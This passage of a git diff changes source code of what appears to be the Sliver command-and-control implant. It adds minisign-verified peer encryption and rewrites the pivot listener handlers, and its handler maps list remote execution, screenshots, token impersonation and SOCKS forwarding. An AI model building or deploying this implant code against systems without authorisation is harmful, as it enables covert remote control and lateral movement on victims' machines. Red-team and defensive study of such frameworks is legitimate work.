ECCPublicKeySignature = newEccPublicKeySignature
|
||||
eccServerPublicKey = newEccServerPublicKey
|
||||
totpSecret = newTotpSecret
|
||||
minisignServerPublicKey = newMinisignServerPublicKey
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// GetECCKeyPair - Get the implant's key pair
|
||||
func GetECCKeyPair() *ECCKeyPair {
|
||||
publicRaw, err := base64.RawStdEncoding.DecodeString(eccPublicKey)
|
||||
publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
|
||||
if err != nil {
|
||||
panic("no public key")
|
||||
}
|
||||
@@ -68,8 +78,37 @@ func GetECCKeyPair() *ECCKeyPair {
|
||||
}
|
||||
}
|
||||
|
||||
// GetServerPublicKey - Get the decoded server public key
|
||||
func GetServerPublicKey() *[32]byte {
|
||||
// MinisignVerify - Verify a minisign signature
|
||||
func MinisignVerify(message []byte, signature string) bool {
|
||||
serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode minisign public key: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
sig, err := DecodeMinisignSignature(signature)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode minisign signature: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
valid, err := serverPublicKey.Verify(message, sig)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minisign signature validation error: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minisign signature validation: %v", valid)
|
||||
// {{end}}
|
||||
return valid
|
||||
}
|
||||
|
||||
// GetServerECCPublicKey - Get the decoded server public key
|
||||
func GetServerECCPublicKey() *[32]byte {
|
||||
publicRaw, err := base64.RawStdEncoding.DecodeString(eccServerPublicKey)
|
||||
if err != nil {
|
||||
return nil
|
||||
@@ -81,7 +120,7 @@ func GetServerPublicKey() *[32]byte {
|
||||
|
||||
// ECCEncryptToServer - Encrypt using the server's public key
|
||||
func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
|
||||
recipientPublicKey := GetServerPublicKey()
|
||||
recipientPublicKey := GetServerECCPublicKey()
|
||||
if recipientPublicKey == nil {
|
||||
panic("no server public key")
|
||||
}
|
||||
@@ -96,3 +135,35 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
|
||||
copy(msg[32:], ciphertext)
|
||||
return msg, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
|
||||
if !valid {
|
||||
return nil, ErrInvalidPeerKey
|
||||
}
|
||||
var peerPublicKey [32]byte
|
||||
copy(peerPublicKey[:], recipientPublicKey)
|
||||
keyPair := GetECCKeyPair()
|
||||
ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
|
||||
if !valid {
|
||||
return nil, ErrInvalidPeerKey
|
||||
}
|
||||
var peerPublicKey [32]byte
|
||||
copy(peerPublicKey[:], senderPublicKey)
|
||||
keyPair := GetECCKeyPair()
|
||||
plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package cryptography
|
||||
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018-2021 Frank Denis
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.org/x/crypto/ed25519"
|
||||
)
|
||||
|
||||
// PublicKey - Represents a public key
|
||||
type PublicKey struct {
|
||||
SignatureAlgorithm [2]byte
|
||||
KeyId [8]byte
|
||||
PublicKey [32]byte
|
||||
}
|
||||
|
||||
// Signature - Represents a minisign signature
|
||||
type Signature struct {
|
||||
UntrustedComment string
|
||||
SignatureAlgorithm [2]byte
|
||||
KeyId [8]byte
|
||||
Signature [64]byte
|
||||
TrustedComment string
|
||||
GlobalSignature [64]byte
|
||||
}
|
||||
|
||||
// minisignPublicKey - Creates a new public key
|
||||
func minisignPublicKey(publicKeyStr string) (PublicKey, error) {
|
||||
var publicKey PublicKey
|
||||
bin, err := base64.StdEncoding.DecodeString(publicKeyStr)
|
||||
if err != nil || len(bin) != 42 {
|
||||
return publicKey, errors.New("invalid encoded public key")
|
||||
}
|
||||
copy(publicKey.SignatureAlgorithm[:], bin[0:2])
|
||||
copy(publicKey.KeyId[:], bin[2:10])
|
||||
copy(publicKey.PublicKey[:], bin[10:42])
|
||||
return publicKey, nil
|
||||
}
|
||||
|
||||
func DecodeMinisignPublicKey(in string) (PublicKey, error) {
|
||||
var publicKey PublicKey
|
||||
lines := strings.SplitN(in, "\n", 2)
|
||||
if len(lines) < 2 {
|
||||
return publicKey, errors.New("incomplete encoded public key")
|
||||
}
|
||||
return minisignPublicKey(lines[1])
|
||||
}
|
||||
|
||||
func trimCarriageReturn(input string) string {
|
||||
return strings.TrimRight(input, "\r")
|
||||
}
|
||||
|
||||
// DecodeMinisignSignature - Decodes a signature
|
||||
func DecodeMinisignSignature(in string) (Signature, error) {
|
||||
var signature Signature
|
||||
lines := strings.SplitN(in, "\n", 4)
|
||||
if len(lines) < 4 {
|
||||
return signature, errors.New("incomplete encoded signature")
|
||||
}
|
||||
signature.UntrustedComment = trimCarriageReturn(lines[0])
|
||||
bin1, err := base64.StdEncoding.DecodeString(lines[1])
|
||||
if err != nil || len(bin1) != 74 {
|
||||
return signature, errors.New("invalid encoded signature")
|
||||
}
|
||||
signature.TrustedComment = trimCarriageReturn(lines[2])
|
||||
bin2, err := base64.StdEncoding.DecodeString(lines[3])
|
||||
if err != nil || len(bin2) != 64 {
|
||||
return signature, errors.New("invalid encoded signature")
|
||||
}
|
||||
copy(signature.SignatureAlgorithm[:], bin1[0:2])
|
||||
copy(signature.KeyId[:], bin1[2:10])
|
||||
copy(signature.Signature[:], bin1[10:74])
|
||||
copy(signature.GlobalSignature[:], bin2)
|
||||
return signature, nil
|
||||
}
|
||||
|
||||
// Verify - Verifies a signature of a buffer
|
||||
func (publicKey *PublicKey) Verify(bin []byte, signature Signature) (bool, error) {
|
||||
if publicKey.SignatureAlgorithm != [2]byte{'E', 'd'} {
|
||||
return false, errors.New("incompatible signature algorithm")
|
||||
}
|
||||
prehashed := false
|
||||
if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x64 {
|
||||
prehashed = false
|
||||
} else if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x44 {
|
||||
prehashed = true
|
||||
} else {
|
||||
return false, errors.New("unsupported signature algorithm")
|
||||
}
|
||||
if publicKey.KeyId != signature.KeyId {
|
||||
return false, errors.New("incompatible key identifiers")
|
||||
}
|
||||
if !strings.HasPrefix(signature.TrustedComment, "trusted comment: ") {
|
||||
return false, errors.New("unexpected format for the trusted comment")
|
||||
}
|
||||
|
||||
if prehashed {
|
||||
h, _ := blake2b.New512(nil)
|
||||
h.Write(bin)
|
||||
bin = h.Sum(nil)
|
||||
}
|
||||
if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), bin, signature.Signature[:]) {
|
||||
return false, errors.New("invalid signature")
|
||||
}
|
||||
if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), append(signature.Signature[:], []byte(signature.TrustedComment)[17:]...), signature.GlobalSignature[:]) {
|
||||
return false, errors.New("invalid global signature")
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
@@ -27,7 +27,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -35,13 +37,6 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -139,7 +134,7 @@ func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
return dir, files, err
|
||||
}
|
||||
return dir, []os.FileInfo{}, errors.New("Directory does not exist")
|
||||
return dir, []os.FileInfo{}, errors.New("directory does not exist")
|
||||
}
|
||||
|
||||
func rmHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -21,54 +21,51 @@ package handlers
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
darwinHandlers = map[uint32]RPCHandler{
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
pb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
pb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
pb.MsgCallExtensionReq: callExtensionHandler,
|
||||
pb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
sliverpb.MsgWGListForwardersReq: wgListTCPForwardersHandler,
|
||||
sliverpb.MsgWGStartSocksReq: wgStartSocksHandler,
|
||||
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
pb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
pb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
pb.MsgWGListForwardersReq: wgListTCPForwardersHandler,
|
||||
pb.MsgWGStartSocksReq: wgStartSocksHandler,
|
||||
pb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
pb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
darwinPivotHandlers = map[uint32]PivotHandler{}
|
||||
)
|
||||
|
||||
// GetSystemHandlers - Returns a map of the darwin system handlers
|
||||
@@ -76,15 +73,10 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return darwinHandlers
|
||||
}
|
||||
|
||||
// GetSystemPivotHandlers - Returns a map of the darwin system handlers
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return darwinPivotHandlers
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
registerReq := &pb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
@@ -94,7 +86,7 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
registerResp := &pb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
@@ -105,14 +97,14 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
callReq := &pb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
callResp := &pb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
@@ -133,14 +125,14 @@ func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
lstReq := &pb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
lstResp := &pb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
|
||||
@@ -57,8 +57,3 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return map[uint32]PivotHandler{}
|
||||
}
|
||||
|
||||
// GetPivotHandlers - Not supported
|
||||
func GetPivotHandlers() map[uint32]PivotHandler {
|
||||
return map[uint32]PivotHandler{}
|
||||
}
|
||||
@@ -59,16 +59,9 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
linuxPivotHandlers = map[uint32]PivotHandler{}
|
||||
)
|
||||
|
||||
// GetSystemHandlers - Returns a map of the linux system handlers
|
||||
func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
// GetSystemPivotHandlers - Returns a map of the linux system handlers
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return linuxPivotHandlers
|
||||
}
|
||||
@@ -33,12 +33,10 @@ import (
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
@@ -110,10 +108,6 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
windowsPivotHandlers = map[uint32]PivotHandler{
|
||||
sliverpb.MsgNamedPipesReq: namedPipeListenerHandler,
|
||||
}
|
||||
)
|
||||
|
||||
// GetSystemHandlers - Returns a map of the windows system handlers
|
||||
@@ -121,11 +115,6 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return windowsHandlers
|
||||
}
|
||||
|
||||
// GetSystemPivotHandlers - Returns a map of the windows system handlers
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return windowsPivotHandlers
|
||||
}
|
||||
|
||||
// ---------------- Windows Handlers ----------------
|
||||
|
||||
func impersonateHandler(data []byte, resp RPCResponse) {
|
||||
@@ -374,50 +363,6 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func namedPipeListenerHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
namedPipeReq := &sliverpb.NamedPipesReq{}
|
||||
err := proto.Unmarshal(envelope.Data, namedPipeReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
namedPipeResp := &sliverpb.NamedPipes{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(namedPipeResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
err = pivots.StartNamedPipeListener(namedPipeReq.GetPipeName())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error with listener: %s", err.Error())
|
||||
// {{end}}
|
||||
namedPipeResp := &sliverpb.NamedPipes{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(namedPipeResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
namedPipeResp := &sliverpb.NamedPipes{
|
||||
Success: true,
|
||||
}
|
||||
data, _ := proto.Marshal(namedPipeResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func makeTokenHandler(data []byte, resp RPCResponse) {
|
||||
makeTokenReq := &sliverpb.MakeTokenReq{}
|
||||
err := proto.Unmarshal(data, makeTokenReq)
|
||||
|
||||
@@ -1,24 +1,21 @@
|
||||
//go:build windows || linux || darwin
|
||||
// +build windows linux darwin
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
@@ -29,15 +26,16 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
genericPivotHandlers = map[uint32]PivotHandler{
|
||||
sliverpb.MsgPivotData: pivotDataHandler,
|
||||
sliverpb.MsgTCPPivotReq: tcpListenerHandler,
|
||||
sliverpb.MsgPivotListReq: pivotListHandler,
|
||||
pb.MsgPivotListenersReq: pivotListenersHandler,
|
||||
pb.MsgPivotStartListenerReq: pivotStartListenerHandler,
|
||||
pb.MsgPivotStopListenerReq: pivotStopListenerHandler,
|
||||
pb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -46,97 +44,88 @@ func GetPivotHandlers() map[uint32]PivotHandler {
|
||||
return genericPivotHandlers
|
||||
}
|
||||
|
||||
func pivotListHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
listReq := &sliverpb.PivotListReq{}
|
||||
listResp := &sliverpb.PivotList{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
err := proto.Unmarshal(envelope.Data, listReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
listResp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(listResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
listeners := pivots.GetListeners()
|
||||
entries := make([]*sliverpb.PivotEntry, 0)
|
||||
for _, entry := range listeners {
|
||||
entries = append(entries, &sliverpb.PivotEntry{
|
||||
Type: entry.Type,
|
||||
Remote: entry.RemoteAddress,
|
||||
})
|
||||
}
|
||||
listResp.Entries = entries
|
||||
data, _ := proto.Marshal(listResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
func pivotListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
data, _ := proto.Marshal(&pb.PivotListeners{
|
||||
Listeners: pivots.GetListeners(),
|
||||
Response: &commonpb.Response{},
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func tcpListenerHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
tcpPivot := &sliverpb.TCPPivotReq{}
|
||||
err := proto.Unmarshal(envelope.Data, tcpPivot)
|
||||
func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.PivotStartListenerReq{}
|
||||
resp := &pb.PivotListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
tcpPivotResp := &sliverpb.TCPPivot{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(tcpPivotResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
err = pivots.StartTCPListener(tcpPivot.Address)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
tcpPivotResp := &sliverpb.TCPPivot{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
|
||||
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := startListener(req.BindAddress, connection.Send)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
data, _ := proto.Marshal(tcpPivotResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
pivots.AddListener(listener)
|
||||
data, _ := proto.Marshal(listener.ToProtobuf())
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
tcpResp := &sliverpb.TCPPivot{
|
||||
Success: true,
|
||||
}
|
||||
data, _ := proto.Marshal(tcpResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func pivotDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
pivData := &sliverpb.PivotData{}
|
||||
proto.Unmarshal(envelope.Data, pivData)
|
||||
|
||||
origData := &sliverpb.Envelope{}
|
||||
proto.Unmarshal(pivData.Data, origData)
|
||||
|
||||
pivotConn := pivots.Pivot(pivData.GetPivotID())
|
||||
if pivotConn != nil {
|
||||
// pivots.PivotWriteEnvelope(pivotConn, origData)
|
||||
} else {
|
||||
resp.Response.Err = "Unsupported pivot listener type"
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.PivotStopListenerReq{}
|
||||
resp := &pb.PivotListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
pivots.StopListener(req.ID)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: []byte{},
|
||||
}
|
||||
}
|
||||
|
||||
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
sent := pivots.SendToPeer(envelope)
|
||||
if !sent {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivotDataHandler] PivotID %d not found\n", pivData.GetPivotID())
|
||||
log.Printf("Send to peer failed, report peer failure upstream ...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -19,41 +19,41 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"sync"
